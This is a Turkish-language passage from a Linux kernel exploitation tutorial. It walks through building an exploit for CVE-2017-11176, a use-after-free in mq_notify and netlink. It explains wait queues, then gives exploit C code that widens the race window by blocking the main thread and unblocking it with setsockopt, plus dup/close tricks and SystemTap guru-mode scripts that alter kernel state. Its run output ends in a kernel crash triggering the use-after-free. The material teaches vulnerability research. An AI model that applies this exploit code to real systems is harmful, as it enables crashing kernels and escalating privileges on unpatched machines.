int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
void *key)
{
return try_to_wake_up(curr->private, mode, wake_flags);
}
Son olarak, try_to_wake_up() , schedule() öğesinin "tersi"dir. schedule() geçerli görevi "zaman aşımına uğratırken", try_to_wake_up() yeniden zamanlanabilir hale getirir. Yani, bir çalışma kuyruğuna alır ve çalışma durumunu değiştirir!
Kod:
static int try_to_wake_up(struct task_struct *p, unsigned int state,
int wake_flags)
{
struct rq *rq;
// ... cut (find the appropriate run queue) ...
out_activate:
schedstat_inc(p, se.nr_wakeups); // <----- update some stats
if (wake_flags & WF_SYNC)
schedstat_inc(p, se.nr_wakeups_sync);
if (orig_cpu != cpu)
schedstat_inc(p, se.nr_wakeups_migrate);
if (cpu == this_cpu)
schedstat_inc(p, se.nr_wakeups_local);
else
schedstat_inc(p, se.nr_wakeups_remote);
activate_task(rq, p, en_flags); // <----- put it back to run queue!
success = 1;
p->state = TASK_RUNNING; // <----- the state has changed!
// ... cut ...
}
activate_task() öğesinin çağrıldığı yer burasıdır (başka yerler de vardır). Görev artık bir çalıştırma kuyruğuna geri döndüğünden ve durumu TASK_RUNNING olduğundan, zamanlanmış olma şansı vardır. Bu nedenle, schedule() çağrısından sonra olduğu yerde yürütülmesine devam eder.
Uygulamada, __wake_up() nadiren doğrudan çağrılır. Bunun yerine, bu yardımcı makrolar çağrılır:
Kod:
// [include/linux/wait.h]
#define wake_up(x) __wake_up(x, TASK_NORMAL, 1, NULL)
#define wake_up_nr(x, nr) __wake_up(x, TASK_NORMAL, nr, NULL)
#define wake_up_all(x) __wake_up(x, TASK_NORMAL, 0, NULL)
#define wake_up_interruptible(x) __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
#define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL)
#define wake_up_interruptible_all(x) __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL)
Detaylı Bir Örnek
Yukarıda belirtilen kavramları özetlemek için bir örnek:
Kod:
struct resource_a {
bool resource_is_ready;
wait_queue_head_t wq;
};
void task_0_wants_resource_a(struct resource_a *res)
{
if (!res->resource_is_ready) {
// "register" to be woken up
DECLARE_WAITQUEUE(task0_wait_element, current);
add_wait_queue(&res->wq, &task0_wait_element);
// start sleeping
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
// We'll restart HERE once woken up
// Remember to "unregister" from wait queue
}
// XXX: ... do something with the resource ...
}
void task_1_makes_resource_available(struct resource_a *res)
{
res->resource_is_ready = true;
wake_up_interruptible_all(&res->wq); // <--- unblock "task 0"
}
Bir iş parçacığı, "kaynak (resource)" kullanılamadığı için engellenen task_0_wants_resource_a() fonksiyonunu çalıştırır. Bir noktada, kaynak sahibi onu kullanılabilir hale getirir (başka bir iş parçacığından) ve task_1_makes_resource_available() öğesini çağırır. Bundan sonra task_0_wants_resource_a() işleminin çalıştırılması devam edebilir.
Bu, Linux Kernel kodunda sıklıkla göreceğiniz bir yapıdır, artık ne anlama geldiğini biliyorsunuz. "Kaynak" teriminin burada genel bir şekilde kullanıldığını unutmayın. Görevler bir olayı, gerçekleşecek bir koşulu veya başka bir şeyi bekleyebilir. "blocking" sistem çağrısını her gördüğünüzde, bekleme sırası o kadar da uzak değildir .
Devam edelim ve proof-of-concept’i uygulamaya başlayalım.
Ana İş Parçacığının (Main Thread) Engelini Kaldırma
Önceki bölümde, netlink_attachskb() öğesini 1 döndürmeye zorlamaya çalışırken birkaç sorun ile karşılaştık. İlk sorun, engellemeyi (blocking) oluşturan mq_notify() çağrısıydı. Bunu önlemek için, çağrıyı schedule_timeout() öğesine atlattık, ancak daha sonra sonsuz bir döngü oluşturduk. Hedef dosya tanımlayıcımızı dosya tanımlayıcı tablosundan (FDT) kaldırarak döngüyü durdurduk, bu da tesadüfen son koşulu yerine getirdi: ikinci fget() çağrısını NULL döndürdü. Bu bir SystemTap script'i yardımıyla yapıldı:
Kod:
function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
[0] sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
Bu kısımda, bir struct sock’un, SOCK_DEAD bayrağını ayarlayan [0] satırını kaldırmaya çalışacağız. Bu, mq_notify() çağrısının tekrar engelleneceği anlamına gelir. Buradan sonra iki ihtimalimiz var:
- Sock’u SOCK_DEAD olarak işaretleme (stap script'inin yaptığı gibi)
- Thread engelini kaldırma
Race'i Kontrol Etme
Main thread'imizin engellenmesi aslında iyi bir şeydir. Bu, exploit etme bakış açısından bakıldığında aslında bir çeşit hediye Saldırı senaryomuz neydi?
Kod:
Thread-1 | Thread-2 | file refcnt | sock refcnt | sock ptr |
------------------------------------+-----------------------+-------------+-------------+--------------------+
mq_notify() | | 1 | 1 | NULL |
| | | | |
fget(<TARGET_FD>) -> ok | | 2 (+1) | 1 | NULL |
| | | | |
netlink_getsockbyfilp() -> ok | | 2 | 2 (+1) | 0xffffffc0aabbccdd |
| | | | |
fput(<TARGET_FD>) -> ok | | 1 (-1) | 2 | 0xffffffc0aabbccdd |
| | | | |
netlink_attachskb() -> returns 1 | | 1 | 1 (-1) | 0xffffffc0aabbccdd |
| | | | |
| close(<TARGET_FD>) | 0 (-1) | 0 (-1) | 0xffffffc0aabbccdd |
| | | | |
goto retry | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
fget(<TARGET_FD) -> returns NULL | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
goto out | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
netlink_detachskb() -> UAF! | | FREE | (-1) in UAF | 0xffffffc0aabbccdd |
Yani, "small window (küçük pencere)", close() fonksiyonunu çağırma fırsatına sahip olduğumuz yerdir. Bir hatırlatma olarak, close() çağrısı, NULL fget() döndürmek için çağrı yapacak. Pencerenin kendisi get() çağrısı başarılı olduktan sonra başlar ve ikinci get() çağrısından önce durur. Saldırı senaryosunda, netlink_attachskb()'den sonra close() öğesini çağırıyoruz, ancak System Tap script'inde netlink_attachskb() öğesini çağırmadan önce onu gerçekten simüle ettik (close öğesini çağırmıyoruz).
Çağrıyı schedule_timeout() öğesine atlatırsak, pencere gerçekten "küçük" olacaktır. netlink_attachskb() çağırmadan önce kernel veri yapısını değiştirdiğimiz ve bunu SystemTap ile ilgili bir sorun değildi. Kullanıcı tarafında böyle bir lüksümüz olmayacak.
Öte yandan, netlink_attachskb() öğesinin ortasında bloklama yapabilirsek ve bunu bloklamayı kaldırmanın bir yolunu bulabilirsek, pencere aslında istediğimiz kadar büyük olacaktır. Başka bir deyişle, race durumunu kontrol etmek için bir aracımız var. Bunu main thread akışında bir " breakpoint (kesme noktası)" olarak görebiliriz.
Saldırı planı şu hale gelir:
Kod:
Thread-1 | Thread-2 | file refcnt | sock refcnt | sock ptr |
------------------------------------+-----------------------+-------------+-------------+--------------------+
mq_notify() | | 1 | 1 | NULL |
fget(<TARGET_FD>) -> ok | | 2 (+1) | 1 | NULL |
| | | | |
netlink_getsockbyfilp() -> ok | | 2 | 2 (+1) | 0xffffffc0aabbccdd |
| | | | |
fput(<TARGET_FD>) -> ok | | 1 (-1) | 2 | 0xffffffc0aabbccdd |
| | | | |
netlink_attachskb() | | 1 | 2 | 0xffffffc0aabbccdd |
| | | | |
schedule_timeout() -> SLEEP | | 1 | 2 | 0xffffffc0aabbccdd |
| | | | |
| close(<TARGET_FD>) | 0 (-1) | 1 (-1) | 0xffffffc0aabbccdd |
| | | | |
| UNBLOCK THREAD-1 | FREE | 1 | 0xffffffc0aabbccdd |
<<< Thread-1 wakes up >>> | | | | |
sock_put() | | FREE | 0 (-1) | 0xffffffc0aabbccdd |
| | | | |
netlink_attachskb() -> returns 1 | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
goto retry | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
fget(<TARGET_FD) -> returns NULL | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
goto out | | FREE | FREE | 0xffffffc0aabbccdd |
| | | | |
netlink_detachskb() -> UAF! | | FREE | (-1) in UAF | 0xffffffc0aabbccdd |
Tamam, main thread'i engellemek race’i kazanmak için iyi bir fikir gibi görünüyor, ama şimdi thread'in engelini kaldırmamızın da gerektiği anlamına geliyor.
"Unblocker (Engel Kaldırma)" Adaylarını Belirleme
Şimdiye kadar "Temel Kavramlar #2" bölümünü anlamadıysanız, geri dönüp bakma zamanı gelmiş olabilir Bu bölümde, netlink_attachskb() öğesinin engellemeye nasıl başladığını ve engellemeyi nasıl kaldırabileceğimizi göreceğiz.
netlink_attachskb()’ye bir daha bakalım:
Kod:
// [net/netlink/af_netlink.c]
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
[0] DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
// ... cut (unreachable code from mq_notify) ...
}
[1] __set_current_state(TASK_INTERRUPTIBLE);
[2] add_wait_queue(&nlk->wait, &wait);
[3] if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
[4] *timeo = schedule_timeout(*timeo);
[5] __set_current_state(TASK_RUNNING);
[6] remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1;
}
skb_set_owner_r(skb, sk);
return 0;
}
Kod artık tanıdık gelmeli. __set_current_state(TASK_INTERRUPTIBLE) [1] ve schedule_timeout() [4] birleşimi thread'inin engellenmesini sağlayan şeydir. Koşul [3] doğrudur çünkü:
- SystemTap ile zorladık: nlk-> state /= 1
- Sock artık ölmez, şu satırı kaldırdık: sk->sk_flags /= (1 << SOCK_DEAD)
Not: schedule_timeout çağrısı (MAX_SCHEDULE_TIMEOUT) gerçekten schedule() çağrısına eşdeğerdir.
Bildiğimiz gibi, uyanma sırasına (wake queue) kaydolduysa engellenen bir iş parçacığı uyandırılabilir. Bu kayıt [0] ve [2] ile yapılırken, kayıt dışı bırakma kaydı [6] 'da yapılır. Bekleme kuyruğunun kendisi nlk-> wait'dir. Yani, netlink_sock nesnesine aittir:
Kod:
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
// ... cut ...
wait_queue_head_t wait; // <----- the wait queue
// ... cut ...
};
Bu, engellenen thread'leri uyandırmanın netlink_sock nesnesinin sorumluluğu olduğu anlamına gelir.
Nlk->wait bekleme kuyruğu aslında dört yerde kullanılmaktadır:
- __netlink_create()
- netlink_release()
- netlink_rcv_wake()
- netlink_setsockopt()
netlink_rcv_wake() fonksiyonu netlink_recvmsg() tarafından çağrılır ve wake_up_interruptible() fonksiyonunu çağırır. Aslında, engellemenin ilk nedeni receive buffer'ının dolu olması nedeniyle mantıklı gelmektedir. netlink_recvmsg() çağrılırsa, receive buffer'da artık daha fazla yer olması ihtimali vardır.
netlink_release() fonksiyonu, ilişkili struct dosyası serbest bırakılmak üzereyken çağrılır (yeniden sayım sıfıra düşer). Bu da, wake_up_interruptible_all() öğesini çağırır.
Son olarak, netlink_setsockopt(), syscall setsockopt() aracılığıyla çağrılır. "Optname" NETLINK_NO_ENOBUFS ise, wake_up_interruptible() çağrılır.
Bu nedenle, thread'imizi uyandırmak için üç adayımız var (__netlink_create() hiçbir şeyi uyandırmadığı için hariç tutuldu). Böyle bir seçimle karşı karşıya kaldığınızda, şu şekilde bir yol istersiniz:
- İstenilen hedefe hızlı bir şekilde ulaşır (bizim durumumuzda wake_up_interruptible()). Yani, küçük bir çağrı izi, geçmek için birkaç "koşul"...
- Kernel üzerinde çok az etkisi/yan etkisi vardır (bellek ayırma yok, diğer veri yapılarına dokunmayın...)
netlink_rcv_wake() yolu en "karmaşık" yoldur. Bir "recvmsg ()" sistem çağrısından ulaşmadan önce, genel soket API'sinde birkaç denetimi geçmemiz gerekir. Ayrıca çeşitli şeyleri tahsis eder. Çağrı izi şu şekildedir:
Kod:
- SYSCALL_DEFINE3(recvmsg)
- __sys_recvmsg
- sock_recvmsg
- __sock_recvmsg
- __sock_recvmsg_nosec // calls sock->ops->recvmsg()
- netlink_recvmsg
- netlink_rcv_wake
- wake_up_interruptible
Buna karşılık, "setsockopt()" için çağrı izi şöyledir:
Kod:
- SYSCALL_DEFINE5(setsockopt) // calls sock->ops->setsockopt()
- netlink_setsockopt()
- wake_up_interruptible
Çok daha kolay, değil mi?
Setsockopt Syscall'dan wake_up_interruptible() Öğesine Ulaşma
Önceki bölümde setsockopt syscall'dan wake_up_interruptible() öğesine ulaşmanın en basit yol olduğunu gördük. Geçilmesi gereken kontrolleri analiz edelim:
Kod:
// [net/socket.c]
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
char __user *, optval, int, optlen)
{
int err, fput_needed;
struct socket *sock;
[0] if (optlen < 0)
return -EINVAL;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
[1] if (sock != NULL) {
err = security_socket_setsockopt(sock, level, optname);
[2] if (err)
goto out_put;
[3] if (level == SOL_SOCKET)
err =
sock_setsockopt(sock, level, optname, optval,
optlen);
else
err =
[4] sock->ops->setsockopt(sock, level, optname, optval,
optlen);
out_put:
fput_light(sock->file, fput_needed);
}
return err;
}
Sistem çağrısının kendisinden, ihtiyacımız olan:
- [0] - optlen negatif değildir
- [1] - fd geçerli bir soket olmalıdır
- [2] - LSM, soket için setsockopt()’u çağırmamıza izin vermelidir
- [3] - level, SOL_SOCKET’ten farklıdır
Kod:
// [net/netlink/af_netlink.c]
static int netlink_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
unsigned int val = 0;
int err;
[5] if (level != SOL_NETLINK)
return -ENOPROTOOPT;
[6] if (optlen >= sizeof(int) && get_user(val, (unsigned int __user *)optval))
return -EFAULT;
switch (optname) {
// ... cut (other options) ...
[7] case NETLINK_NO_ENOBUFS:
[8] if (val) {
nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
clear_bit(0, &nlk->state);
[9] wake_up_interruptible(&nlk->wait);
} else
nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
err = 0;
break;
default:
err = -ENOPROTOOPT;
}
return err;
}
Ek kontroller şunlardır:
- [5] - level, SOL_NETLINK olmalıdır
- [6] - optlen büyük veya eşit sizeof(int) ve optval okunabilir bir bellek konumu olmalıdır
- [7] - optname,NETLINK_NO_ENOBUFS olmalıdır
- [8] - val, sıfırdan farklı olmalıdır
Kod:
int sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC); // same socket used by blocking thread
int val = 3535; // different than zero
_setsockopt(sock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
Hadi bunu exploit'imize entegre edelim.
Exploit'i Güncelleme
Yukarılarda, setsockopt() syscall yardımıyla kullanıcı tarfından wake_up_interruptible() öğesinin nasıl çağırılacağını gördük. Ancak bir sorun var: engelliyorsak herhangi bir şeyi nasıl arayabiliriz? Cevap: Birden çok thread kullanabilirsiniz!
Öyleyse, başka bir thread oluşturalım (exploit içerisinde unblock_thread olarak adlandırılır) ve exploiti güncelleyelim ("-pthread" ile derleyelim):
Kod:
struct unblock_thread_arg
{
int fd;
bool is_ready; // we could use pthread's barrier here instead
};
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the unblock thread has been created
uta->is_ready = true;
// WARNING: the main thread *must* directly call mq_notify() once notified!
sleep(5); // gives some time for the main thread to block
printf("[unblock] unblocking now\n");
if (_setsockopt(uta->fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}
int main(void)
{
struct sigevent sigev;
char sival_buffer[NOTIFY_COOKIE_LEN];
int sock_fd;
pthread_t tid;
struct unblock_thread_arg uta;
// ... cut ...
// initialize the unblock thread arguments, and launch it
memset(&uta, 0, sizeof(uta));
uta.fd = sock_fd;
uta.is_ready = false;
printf("creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
perror("pthread_create");
goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
;
printf("unblocking thread has been created!\n");
printf("get ready to block\n");
if (_mq_notify((mqd_t)-1, &sigev))
{
perror("mq_notify");
goto fail;
}
printf("mq_notify succeed\n");
// ... cut ...
}
"sleep(5)" olarak adlandırdığımızı ve "uta-> is_ready" ile bir şeyler yaptığımızı fark etmiş olabilirsiniz. Hadi bunu açıklayalım.
pthread_create() öğesinin çağrılması, bir thread (yani yeni bir task_struct) oluşturma ve başlatma isteğidir. Görevin oluşturulması, görevin şu anda çalışacağı anlamına gelmez. Thread'in çalışmaya başladığından emin olmak için bir spinlock kullanıyoruz: uta-> is_ready.
Not: Spinlock'lar (etkin) kilitlemenin en basit şeklidir. Temel olarak değişken bir durum değişene kadar bir döngüye girer. Bu "aktif"tir çünkü CPU bu süre zarfında %99 oranında kullanılıyor.
Main thread, unblock_thread kilidini açana kadar bir döngüde sıkışır ('is_ready' değerini true olarak ayarlayın). Aynı şey pthreads bariyeri ile de başarılabilir (her zaman mevcut değildir). Buradaki spinlocking'in isteğe bağlı olduğunu, yalnızca thread oluşturma üzerinde "daha fazla kontrol" sağladığını unutmayın. Diğer bir neden ise, görev oluşturmanın genel olarak exploit'lerin çalışmasını engelleyen çok sayıda bellek ayırması anlamına gelebileceğidir. Son olarak, ileride aynı teknik gerekli olacak, öyleyse şimdiden değinmekte fayda var?
Öte yandan, pthread_create()'ten sonra ana main thread'in "uzun" bir süre için önlendiğini (yani çalıştırılmadığını/yürütülmediğini) varsayalım. Aşağıdaki diziye sahip olabiliriz:
Kod:
Thread-1 | Thread-2
------------------+---------------------------
|
pthread_create() |
| <<< new task created >>>
<<< preempted >>> |
| <<< thread starts >>>
<<< still... |
...preempted >>> | setsockopt() -> succeed
|
mq_notify() |
=> start BLOCKING |
Bu senaryoda, mq_notify engellemeden önce "setsockopt()" çağrısı yapılır. Yani, main thread'in engelini kaldırmaz. Main thread'in kilidini açtıktan sonra sleep(5)'in nedeni budur ('is_ready' doğrudur). Başka bir deyişle, "sadece" mq_notify() çağırmak için en az 5 saniye verir. "5 saniye"nin yeterli olduğunu güvenle varsayabilirsiniz çünkü:
Main thread 5 saniye sonra hala engellenirse, hedeflenen sistem ağır yükler altındaysa, exploit'i yine de çalıştırmamalısınız.
unblock_thread, mq_notify()'dan önce main thread'i (setsockopt()) "race" ederse, her zaman bir CTRL+C komutu gönderebiliriz. Bunu yapmak, netlink_attach skb() öğesinin "-ERESTARTSYS" değerini döndürmesini sağlar. Hata bu yolda tetiklenmez. Exploit'i tekrar deneyebiliriz.
Başka bir deyişle, "controlled windows (denetleyici pencereleri)" süresi artık 5 saniyedir. Sorun şu: main thread'in diğerini uyandırması için uyarmanın bir yolu yok çünkü çalışmamaktadır (krş. temel kavramlar #2). Belki unblock_thread bazı bilgileri bir şekilde çekebilir? İyi... sleep(5) taktiği burada yeterli.
STAP Script'ini Güncelleme
Pekala, yeni exploiti çalıştırmadan önce kurulum komut dosyalarımızı düzenlememiz gerekiyor. Şu anda, netlink_attachskb() öğesini çağırmadan önce netlink soketini (fd=3) kaldırıyoruz. Bu, netlink_attached() girdikten sonra setsockopt() öğesini çağırırsak, sock_fd dosya tanımlayıcısının geçersiz olacağı anlamına gelir (FDT'de NULL'a işaret eder). Diğer bir deyişle, setsockopt() "Hatalı Dosya Tanımlayıcısı" hatasıyla başarısız olur (yani netlink_setsockopt()'a bile ulaşamayız).
Öyleyse, netlink_attachskb()'den dönerken FDT'deki fd "3"ü kaldıralım:
Kod:
# mq_notify_force_crash.stp
#
# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}
function force_trigger_before:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
// NOTE: We do not mark the sock as DEAD anymore
%}
function force_trigger_after:long (arg_sock:long)
%{
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
probe kernel.function ("netlink_attachskb")
{
if (execname() == "exploit")
{
force_trigger_before($sk);
}
}
probe kernel.function ("netlink_attachskb").return
{
if (execname() == "exploit")
{
force_trigger_after(0);
}
}
Her zaman olduğu gibi, kodun aktığını görebilmemiz için biraz daha prob ekleyin. Bu bize aşağıdaki çıktıyı verir:
Kod:
$ ./exploit
-={ CVE-2017-11176 Exploit }=-
netlink socket created = 3
creating unblock thread...
unblocking thread has been created!
get ready to block
<<< we get stuck here during ~5secs >>>
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
(15981-15981) [SYSCALL] ==>> mq_notify (-1, 0x7fffbd130e30)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(15981-15981) [uland] ==>> copy_from_user ()
(15981-15981) [skb] ==>> skb_put (skb=0xffff8800302551c0 len=0x20)
(15981-15981) [skb] <<== skb_put = ffff88000a015600
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = ffff8800314869c0
(15981-15981) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff8800314869c0)
(15981-15981) [netlink] <<== netlink_getsockbyfilp = ffff8800300ef800
(15981-15981) [netlink] ==>> netlink_attachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0 timeo=0xffff88000b157f40 ssk=0x0)
(15981-15981) [sched] ==>> schedule_timeout (timeout=0x7fffffffffffffff)
(15981-15981) [sched] ==>> schedule ()
(15981-15981) [sched] ==>> deactivate_task (rq=0xffff880003c1f3c0 p=0xffff880031512200 flags=0x1)
(15981-15981) [sched] <<== deactivate_task =
<<< we get stuck here during ~5secs >>>
(15981-15981) [sched] <<== schedule =
(15981-15981) [sched] <<== schedule_timeout = 7fffffffffffffff
(15981-15981) [netlink] <<== netlink_attachskb = 1 // <----- returned 1
(15981-15981) [vfs] ==>> fget (fd=0x3)
(15981-15981) [vfs] <<== fget = 0 // <----- returned 0
(15981-15981) [netlink] ==>> netlink_detachskb (sk=0xffff8800300ef800 skb=0xffff8800302551c0)
(15981-15981) [netlink] <<== netlink_detachskb
(15981-15981) [SYSCALL] <<== mq_notify= -9
Not: Diğer thread bölümleri net olsun diye kaldırılmıştır.
Mükemmel! 5 saniye boyunca netlink_attachskb() içinde sıkışıp kalıyoruz, diğer thread'ten engelini kaldırıyoruz ve 1 (beklendiği gibi) döndürüyor!
Bu bölümde race'i nasıl kontrol edeceğimizi ve pencereyi süresiz olarak nasıl uzatacağımızı gördük (5 saniyeye düşürdük). Sonra setsockopt() kullanarak main thread'i nasıl uyandıracağımızı gördük. Ayrıca, exploit'imizde olabilecek bir "race"i de ele aldık ve basit bir taktik ile oluşma olasılığını nasıl azaltabileceğimizi gördük. Son olarak, yalnızca kullanıcı tarafı kodunu kullanarak stap script'i tarafından uygulanan gereksinimlerden birini kaldırdık (SOCK'u ölü (dead) olarak işaretleyin). Uygulanması söz konusu olan iki gereksinim daha var.
İkinci Döngüde fget() Fonksiyonunu Başarısız Hale Getirme
Şimdiye kadar, kullanıcı tarafındaki üç gereksinimden birini uyguladık. İşte YAPILACAKLAR listemiz:
- Netlink_attachskb() öğesini 1 döndürmeye zorlayın
- [BİTTİ] İstismar iş parçacığının engelini kaldır
- İkinci fget() çağrısını NULL döndürmeye zorla
Kod:
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; // <--------- on the second loop only!
}
Neden fget() NULL Döndürür?
SystemTap ile hedef dosya tanımlayıcınızın FDT girdisini sıfırlamanın fget()'in başarısız olmasına (yani NULL döndürmesine) yettiğini gördük:
Kod:
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
fgets()'in yaptığı şey:
- Geçerli işlem "struct files_struct" alır
- Files_struct'tan gelen "struct fdtable" alır
- "Fdt-> fd[fd]" değerini alır (yani bir "struct file" pointer'ı)
- "Struct file" ref sayacını (NULL değilse) bir artırır
- "Struct file" pointer'ını döndürür
Not: Tüm bu yapılar arasındaki ilişkiyi hatırlamıyorsanız, lütfen Temel Kavramlar kısmına geri dönün.
FDT'deki (Dosya Tanımlayıcısı Tablosundaki) Bir Girdiyi Sıfırlama
Stap script'inde "3" dosya tanımlayıcısı için FDT girişini sıfırlarız. Bunu, kullanıcı tarafında nasıl yapabiliriz? Bir FDT girdisini NULL olarak ayarlayan nedir? Cevap: close() sistem çağrısı.
İşte basitleştirilmiş bir sürüm (kilitleme ve hata işleme olmadan):
Kod:
// [fs/open.c]
SYSCALL_DEFINE1(close, unsigned int, fd)
{
struct file * filp;
struct files_struct *files = current->files;
struct fdtable *fdt;
int retval;
[0] fdt = files_fdtable(files);
[1] filp = fdt->fd[fd];
[2] rcu_assign_pointer(fdt->fd[fd], NULL); // <----- equivalent to: fdt->fd[fd] = NULL
[3] retval = filp_close(filp, files);
return retval;
}
close() sistem çağrısı:
- [0] - geçerli işlemin FDT'sini alır
- [1] - FDT kullanarak bir fd ile ilişkili struct file pointer'ını alır
- [2] - FDT girdisini NULL değerine sıfırlar (koşulsuz olarak)
- [3] - dosya nesnesinden bir referans bırakır (yani fput() çağırır)
Yumurta ve Tavuk Sorunu...
setsockopt() öğesini çağırmadan önce unblock_thread öğesinde close() öğesini çağırmanız yeterli olacaktır. Sorun şu ki, setsockopt() geçerli bir dosya tanımlayıcısına ihtiyaç duymaktadır! SystemTap ile bunu zaten deneyimlemiştik, bu yüzden, netlink_attachskb()'den dönerken "fd sıfırlama kodunu" taşıdık (önce değil). Kullanıcı tarafında da aynı sorun mevcut...
setsockopt() fonksiyonundan sonra close() fonksiyonunu çağırmaya ne dersiniz? setsockopt() öğesini çağırdıktan sonra close() öğesini çağırırsak (main thread'in engelini kaldırarak) genişletilmiş pencerelerimizden bir fayda elde edemeyiz. Başka bir deyişle, "küçük pencere" senaryosuna geri dönüyoruz, ki bu hiç istemediğimiz bir şey.
Neyse ki bir yolu var! Temel Kavramlar kısmında, dosya tanımlayıcı tablosunun 1:1 eşleme olmadığını söylemiştik. Diğer bir deyişle, birkaç dosya tanımlayıcısı aynı dosya nesnesine işaret edebilir. İki dosya tanımlayıcısının işaret ettiği bir struct dosyası nasıl yapılır? dup() sistem çağrısı.
Kod:
// [fs/fcntl.c]
SYSCALL_DEFINE1(dup, unsigned int, fildes)
{
int ret = -EBADF;
[0] struct file *file = fget(fildes);
if (file) {
[1] ret = get_unused_fd();
if (ret >= 0)
[2] fd_install(ret, file); // <----- equivalent to: current->files->fdt->fd[ret] = file
else
fput(file);
}
[3] return ret;
}
Başka bir basit syscall, dup() tam olarak istediğimizi şeyi yapmaktadır:
- [0] - bir dosya tanımlayıcısından bir struct file nesnesi üzerinde bir referans alır
- [1] - bir sonraki "kullanılmayan/kullanılabilir" dosya tanımlayıcısını seçer
- [2] - bu yeni dosya tanımlayıcısının fdt girişini struct file nesnesine bir pointer ile ayarlar
- [3] - yeni fd’yi döndürür
- sock_fd: mq_notify() ve close() tarafından kullanılan
- unblock_fd: setsockopt() tarafından kullanılan
Exploit'i Güncelleme
Exploit'i güncelleyelim (close/dup çağrıları ekleyelim ve setsockopt() parametrelerini değiştirelim):
Kod:
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd; // <----- used by the "unblock_thread"
bool is_ready;
};
static void* unblock_thread(void *arg)
{
// ... cut ...
sleep(5); // gives some time for the main thread to block
printf("[unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd); // <----- close() before setsockopt()
printf("[unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, // <----- use "unblock_fd" now!
NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}
int main(void)
{
// ... cut ...
if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) // <----- dup() after socket()
{
perror("dup");
goto fail;
}
printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);
// ... cut ...
}
Stap komut dosyalarındaki FDT girişini sıfırlayan satırları kaldırmayı ve başlatmayı unutmayın:
Kod:
-={ CVE-2017-11176 Exploit }=-
[main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread...
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
<<< KERNEL CRASH >>>
BÜYÜK UYARI: İlk Kernel çökmesi! Evet, şimdi use-after-free’yi tetikliyoruz.
Kernel'ın çökmesinin nedeni ilerleyen bölümlerde incelenecektir.
Uzun lafın kısası: dup() nedeniyle, close() öğesini çağırmak netlink_sock nesnesinde bir referans ortaya çıkarmaz. netlink_detachskb(), netlink_sock üzerindeki son referansı gerçekten ortaya çıkarır (ve onu serbest bırakır). Sonunda, "unblock_fd" dosya tanımlayıcısını (netlink_release() içinde) serbest bırakırken, program çıkışı sırasında use-after-free tetiklenir.
